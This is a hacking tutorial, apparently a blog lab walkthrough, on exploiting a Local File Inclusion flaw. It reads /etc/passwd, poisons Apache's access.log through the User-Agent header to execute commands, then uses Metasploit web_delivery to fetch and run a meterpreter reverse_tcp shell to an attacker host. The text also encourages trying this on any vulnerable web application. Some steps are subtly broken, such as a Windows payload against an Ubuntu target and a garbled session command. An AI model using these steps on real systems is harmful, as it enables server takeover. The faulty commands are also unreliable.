Log Poisoning through LFI

In this article we are demonstrating how a PHP file with include function can lead to LFI log injection attack in any web server. Please read our previous article “Beginner Guide to File Inclusion Attack (LFI/RFI)” and “Configure Web Server for Penetration Testing (Beginner Guide)” that will help you in configuration of own web server as well as more about LFI vulnerability.

Attacker: Kali Linux

Target: ubuntu

Create a PHP file which will allow the user to include a file through file parameter. Hence using file parameter we can execute a file that contains malicious code to make unauthorized access is target PC. Download File from Here

Now I had saved given below PHP code inside a text file as lfi.php and saved on desktop.

Now login with user as “root” and create a folder “lfi” inside /var/www/html

cd /var/www/html

mkdir lfi

Move lfi.php file from desktop to /var/www/html using given below command.

mv /home/raj/Desktop/lfi.php .

Since we had added a php file with include function inside /var/www/html which allow to read the content of another file through it and can lead to LFI attack. Let’s demonstrate it by exploring following URL to read password files:

Localhost/lfi/lfi.php?file=/etc/passwd

From given image you can observe that above URL has dumped following result shown below.

Now I will try to open Apache access.log file through lfi.php on browser therefore give read permission to apache2 and then include the access.log file.

Now to include the acess.log file as file parameter and give following URL inside browser.

192.168.1.129/lfi/lfi.php?file=/var/log/apache2/access.log

From given image you can see it is showing created apache logs in browser. Now turn on burp suite to capture the request of same web page.

Here you will get intercepted data where we need to inject our cmd comment inside user-agent by replace highlighted data.

Add cmd comment  inside user_Agent and send the request with GET parameter  /lfi/lfi.php?file=/var/log/apache2/access.log&c=ps as shown in the below image. Then click on forward.

Here it will dump the log data as well as execute comment given through cmd. From screenshot you can view both log as well as process state.

In same manner execute ifconfig through cmd to verify network interface or can browse following url and view the result from inside the given screenshot.

192.168.1.129/lfi/lfi.php?file=/var/log/apache2/access.log&c=ifconfig

If you found such kind of vulnerability in any web application then you can use metasploit platform to exploit web server.

This module quickly fires up a web server that serves a payload. The provided command will start the specified scripting language interpreter and then download and execute the payload. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command himself, e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.

 use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set target 1

msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)> set lhost 192.168.0.104 

msf exploit (web_delivery)>set srvport  8081

msf exploit (web_delivery)>exploit

Copy the highlighted text shown in below window

 Paste the above copied malicious code inside URL as shown in given image and execute it as command.

When above code gets execute you will get meterpreter session 1.

msf exploit (web_delivery)>session –I 1

meterpreter> sysinfo